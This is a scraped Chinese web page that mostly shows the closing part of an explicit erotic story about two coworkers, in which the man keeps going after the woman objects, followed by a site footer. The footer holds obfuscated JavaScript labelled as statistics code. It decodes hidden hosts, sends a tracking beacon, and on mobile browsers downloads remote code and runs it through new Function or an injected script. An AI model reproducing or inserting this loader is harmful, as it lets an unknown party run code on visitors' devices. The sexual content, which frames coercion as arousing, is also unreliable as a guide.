  “再让我亲一下它,我就松开。”他勾起嘴角,加重了握着我右乳的手掌的力度,明示暗示非常明确。

  我指腹移至我的长颈,缓缓抚摸向上,碰触我发烫的脸颊。

  我对他的碰触有种不可思议的渴求。他那漆黑晶灿的瞳眸定定端凝着我,与我的视线缠绵。

  乔柏低下头,柔柔地啄吻着我因动容而微颤的下唇,轻啃两下,用撬开我的唇,舌尖探入我的口里,碰触我湿濡的舌头。

  抗议声因池的侵入而刹停。他的舌尖灵活的挑动,鼓舞着我与他随之共舞。

  我嘟起嘴,不自觉地响应他的吮吻。两人舌尖交缠,在彼此的口腔中输来送去,犹如热恋中的情人分享彼此的甘津。可偏偏,乔柏不过我的同屋同事。

  他的双手沿着玲珑曲线上下浮游,经我平坦的腰腹,再临那饱满的胸脯。

  他手指的力道越来越大,可是并不让人生疼痛,一阵酥麻却从乳尖迅速往下扩散,抵达下腹,引起一阵酸麻的潮涌。这种单纯的狎弄,已经无法满足我。面对他的撒赖,我无可奈何,况且我也并非真反感,相当乐得享受这种前戏带来的情趣。

  于是我不再言语,轻轻地松开抓住他的手,默许了他的非礼。双臂情不自禁揽住他的颈,让彼此的吻能更加深入。

  饱满雪乳跟随着他大手的揉捏而痛苦变形。粗砺指腹擦过乳蕾,转了一圈又一圈,突然用力夹捏,逼它在他手上苏醒绽放。

  “啊哈──”我松开他的唇,因为尖锐的快感而惊呼。

  受了我的鼓舞,他迅速地弯下腰,褪下了我左肩的挂带,伏在我喷出来的双乳前。张开那好看的唇瓣,含吸住了那早已硬如小石头的乳首。弯腰含入一只嫩红果实,尽情的吸吮舔弄。

  胸前突如其来的骚动让我胸口一窒,视线不由自主看往他。

  圆挺的乳尖在他的舌尖跳动,丰满的乳房被他的大手纵情揉捏,白肉奋突在他的指间,洋溢而出。

  酥酥,痒痒,刺刺,痛痛!一切令人麻痹神经的感觉一时间在我体内四处流窜,我想阻止却无能为力。亲眼看到他的唇舌挑逗,莫名的徒添我的兴奋。

  好舒服,我不由自主地深吸一口气。他犹如一个孩子,认真地吸吮着。我下意识地手指插入他的发丝,他的吸吮唤醒了我自然而来的母性。

  意识越发模糊混沌,他明明这刻还在我身上滑动的长指,不知何时悄然钻入了底裤内,直接揉捻那颤动敏感的花核。

  两指一同夹击,毫不怜惜地拉扯扭转,,自小腹深处蔓延出的热潮凝聚成一阵一阵的狂喜。

  一个痉挛后,我忍不住痛苦的抽息,夹紧了双腿,惊醒过来,“不……不要……!”

  睁开双眼,我才发现自己已经赤裸掉上身,两边的乳头被他来回吸吮得可怜巴巴地闪烁着水光。再这样下去,我们就挺不住了。

  双手托起了他的头颅,我在的额头上轻轻地亲一下,“好了,快起来。”

  乔柏这次也许是感受到我的还怕,他没再勉强我。他乖乖地看着我,站起来,把我纳入了他宽阔的怀抱。

  我们就这样站着,静静地拥抱着,平息。也不知过了多久才分开。但胸前的衣服却因为他的舔舐湿透一片。

  “你看你,把我的衣服都弄湿了。”我嗔怨。说完之后,我自己都惊讶那语气就象是撒娇的女友一样温柔。

  “我帮的洗。”他嘴角忍不住勾起笑,“然后再拿奖励。”

  “去你的。”我红着双颊斜眼睨他。

  乔柏诡谲地笑着说:“你啊,身体比人诚实得多。”

  “我??????”他是存心要我难堪。

  “还想狡辩?”他扬起刚刚侵袭入我内裤之内的长指,在我眼前晃了晃,上头沾满了透明的黏腻液体,“这些就是证据,你好骚啊??????”

  “喂,你别太过分……”我生气的低嚷。

  “我哪里过分?”他好整以暇等待我的回答,还伸出舌尖舔了好几下沾满了我爱液的手指。

  看着他性感的举动,我更不知所措,“从头到尾都很过分,你……你是硬来的,我可没有答应……”

  “哟,自己爽过了还捉贼喊贼?”他调戏。

  “爽你大头!”

  “还否认,爽完就想始乱终弃?”

  什幺始乱终弃?这浑球!

  乔柏凝视我不语,仅用高突的下身顶撞了我双腿间一下。

  刹那间,我体内涌起了想被他占有的欲望。

  “路曼彤,这是我们的第一次亲密接触,”他笑容的弧线邪得让人心醉,他说,“你逃。也只逃得了一时。”

  
【完】


  54098字节[ 此帖被凡夫俗仔在2013-02-20 16:43重新编辑 ]


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};